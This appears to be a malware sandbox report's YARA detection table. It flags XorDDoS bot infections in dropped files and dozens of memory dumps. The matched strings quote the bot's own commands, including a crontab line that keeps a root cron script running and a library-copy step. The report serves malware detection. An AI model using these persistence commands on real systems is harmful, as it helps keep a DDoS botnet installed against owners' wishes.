/usr/bin/gpcmhoiszu	XOR_DDosv1	Rule to detect XOR DDos infection	Akamai CSIRT	0x6b0c4:$st0: BB2FA36AAA9541F0 0x6b0d4:$st0: BB2FA36AAA9541F0 0x6b0e4:$st0: BB2FA36AAA9541F0 0x6b0f4:$st0: BB2FA36AAA9541F0 0x6b104:$st0: BB2FA36AAA9541F0 0x6b114:$st0: BB2FA36AAA9541F0 0x6b124:$st0: BB2FA36AAA9541F0 0x6b134:$st0: BB2FA36AAA9541F0 0x6b144:$st0: BB2FA36AAA9541F0 0x6b154:$st0: BB2FA36AAA9541F0 0x6b164:$st0: BB2FA36AAA9541F0 0x6b174:$st0: BB2FA36AAA9541F0 0x6b184:$st0: BB2FA36AAA9541F0 0x6b194:$st0: BB2FA36AAA9541F0 0x6b1a4:$st0: BB2FA36AAA9541F0 0x6b1b4:$st0: BB2FA36AAA9541F0 0x6b1c4:$st0: BB2FA36AAA9541F0 0x6b1d4:$st0: BB2FA36AAA9541F0 0x6b1e4:$st0: BB2FA36AAA9541F0 0x6b1f4:$st0: BB2FA36AAA9541F0 0x6b204:$st0: BB2FA36AAA9541F0
/usr/bin/ysrkbnorkl	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
/usr/bin/ysrkbnorkl	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
/usr/bin/ysrkbnorkl	XOR_DDosv1	Rule to detect XOR DDos infection	Akamai CSIRT	0x6b0c4:$st0: BB2FA36AAA9541F0 0x6b0d4:$st0: BB2FA36AAA9541F0 0x6b0e4:$st0: BB2FA36AAA9541F0 0x6b0f4:$st0: BB2FA36AAA9541F0 0x6b104:$st0: BB2FA36AAA9541F0 0x6b114:$st0: BB2FA36AAA9541F0 0x6b124:$st0: BB2FA36AAA9541F0 0x6b134:$st0: BB2FA36AAA9541F0 0x6b144:$st0: BB2FA36AAA9541F0 0x6b154:$st0: BB2FA36AAA9541F0 0x6b164:$st0: BB2FA36AAA9541F0 0x6b174:$st0: BB2FA36AAA9541F0 0x6b184:$st0: BB2FA36AAA9541F0 0x6b194:$st0: BB2FA36AAA9541F0 0x6b1a4:$st0: BB2FA36AAA9541F0 0x6b1b4:$st0: BB2FA36AAA9541F0 0x6b1c4:$st0: BB2FA36AAA9541F0 0x6b1d4:$st0: BB2FA36AAA9541F0 0x6b1e4:$st0: BB2FA36AAA9541F0 0x6b1f4:$st0: BB2FA36AAA9541F0 0x6b204:$st0: BB2FA36AAA9541F0
Click to see the 36 entries

Memory Dumps

Source	Rule	Description	Author	Strings
5313.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5313.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5337.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5337.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5428.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5428.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5316.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5316.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5546.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5546.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5455.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5455.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5356.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5356.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5412.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5412.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5532.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5532.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5261.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5261.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5267.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5267.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5225.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5225.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5426.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5426.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5407.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5407.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5438.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5438.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5273.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5273.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5345.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5345.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5537.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5537.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5291.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5291.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5401.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5401.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5512.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5512.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5296.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5296.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5480.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5480.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5418.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5418.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5435.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5435.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5311.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5311.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5223.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5223.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5463.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5463.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5332.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5332.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5294.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5294.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5284.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5284.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5444.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5444.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5224.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5224.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5404.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5404.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5515.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
